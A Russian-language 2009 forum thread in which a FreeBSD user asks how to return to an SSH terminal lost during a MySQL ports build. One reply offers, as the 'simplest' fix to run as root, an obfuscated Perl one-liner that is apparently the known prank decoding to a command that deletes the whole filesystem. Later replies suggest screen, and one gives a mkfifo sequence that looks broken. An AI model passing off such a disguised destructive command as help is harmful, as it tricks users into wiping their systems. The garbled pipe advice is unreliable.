URL: https://www.opennet.me/cgi-bin/openforum/vsluhboard.cgi
Форум: vsluhforumID9
Нить номер: 8536
[ Назад ]

Исходное сообщение
"ак мне вернуться к тому терминалу, где у меня идёт процесс уста"

Отправлено sergeyfromkomi , 04-Дек-09 21:15 
Ув. спецы по UNIX буду благодарен если ответите через ssh запустил на freebsd 7.2 процесс установки mysql... из портов, процесс пошёл, но вот потерял мой комп. (клиентский) связь с инетом и ssh сессия разорвалась.... после переподключения по ssh мне был "выдан" новый tty.... а как мне вернуться к тому терминалу, где у меня идёт процесс установки mysql...?

Содержание

Сообщения в этом обсуждении
"ак мне вернуться к тому терминалу, где у меня идёт процесс у..."
Отправлено GreenHouse , 04-Дек-09 21:34 
>Ув. спецы по UNIX буду благодарен если ответите через ssh запустил на
>freebsd 7.2 процесс установки mysql... из портов, процесс пошёл, но вот
>потерял мой комп. (клиентский) связь с инетом и ssh сессия разорвалась....
>после переподключения по ssh мне был "выдан" новый tty.... а как
>мне вернуться к тому терминалу, где у меня идёт процесс установки
>mysql...?

Насколько я могу понимать работу терминалов, то уже никак вы не вернётесь к процессу установки. Любой процесс запущеный с терминала, является дочерним процнсом командной оболочки(shell) этого терминала. Когда соединение было разорвано, shell на этом терминале закрывется, и заодно посылает сигнал о закрытии всем дочерним процессам - тоесть прцессу установки mysql.

>мне вернуться к тому терминалу, где у меня идёт процесс установки
>mysql...?

Этот поцесс уже нигде не идёт



"ак мне вернуться к тому терминалу, где у меня идёт процесс у..."
Отправлено Владимир П. , 04-Дек-09 21:46 
>мне вернуться к тому терминалу, где у меня идёт процесс установки

Проще всего выполнить из под root'а команду
cat "tty0 tty1 tty2" | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'


"ак мне вернуться к тому терминалу, где у меня идёт процесс у..."
Отправлено Владимир П. , 04-Дек-09 21:51 
>Проще всего выполнить из под root'а команду

Но это, конечно, хак и пригоден он только для того, чтобы зайти в потерянную сессию и завершить критическую задачу.

При выполнениии критических задач крайне желательно использовать screen. Это программа позволяет безболезненно отлючаться, оставляя все процессы работающими. Подробнее здесь http://www.lissyara.su/?id=1774


"ак мне вернуться к тому терминалу, где у меня идёт процесс у..."
Отправлено pavlinux , 04-Дек-09 22:52 
>>Проще всего выполнить из под root'а команду
>
>Но это, конечно, хак и пригоден он только для того, чтобы зайти
>в потерянную сессию и завершить критическую задачу.
>
>При выполнениии критических задач крайне желательно использовать screen. Это программа позволяет безболезненно
>отлючаться, оставляя все процессы работающими. Подробнее здесь http://www.lissyara.su/?id=1774

А ишо
# mkfifo  /tmp/fifa
# make 2>&1 | /tmp/fifa &
# /dev/tty < /tmp/fifa;

Ну как-то так ...



"ак мне вернуться к тому терминалу, где у меня идёт процесс у..."
Отправлено sergeyfromkomi , 04-Дек-09 22:05 
спасибо все что не остались равнодушными..... меня ОЧЕНЬ рассмешило пара слов....: "Проще всего..." в нижеследующем контексте....))))

>Проще всего выполнить из под root'а команду
>cat "tty0 tty1 tty2" | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

я по новой запустил make install....


"ак мне вернуться к тому терминалу, где у меня идёт процесс у..."
Отправлено Владимир П. , 04-Дек-09 22:09 
>я по новой запустил make install....

Вообще, предварительно лучше ещё было бы сделать make clean раз прошлая сборка завершилась аварийно